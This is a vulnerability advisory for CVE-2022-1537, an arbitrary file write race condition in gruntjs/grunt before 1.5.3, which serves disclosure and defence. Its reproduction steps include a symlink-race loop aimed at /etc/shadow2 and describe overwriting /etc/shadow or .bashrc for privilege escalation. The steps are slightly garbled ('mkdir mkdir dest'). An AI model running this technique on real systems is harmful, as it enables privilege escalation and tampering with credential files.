--- title: "CX-2022-5017" date: "2022-09-12T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5017/" --- # CX-2022-5017 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) CVE-2022-1537 **Published:** Sep 12, 2022 CWE-367 CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition 7 High Severity arbitrary file javascript node nodejs npm Write @ @haxatron Reported by Checkmarx Zero Details Overview ## Summary Arbitrary File Write in gruntjs/grunt. ## Product gruntjs/grunt prior to 1.5.3. ## Impact This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user’s .bashrc file or replace /etc/shadow file if the GruntJS user is root. ## Steps to reproduce 1. As a lower-privileged user: ```mkdir mkdir dest echo "" > src/shadow2 while true; do ln -s /etc/shadow2 dest/shadow2; done; ``` 2. Now execute the following PoC: ```grunt grunt.file.copy("src", "dest") ``` ### Expected result: /etc/shadow2 is overwritten ```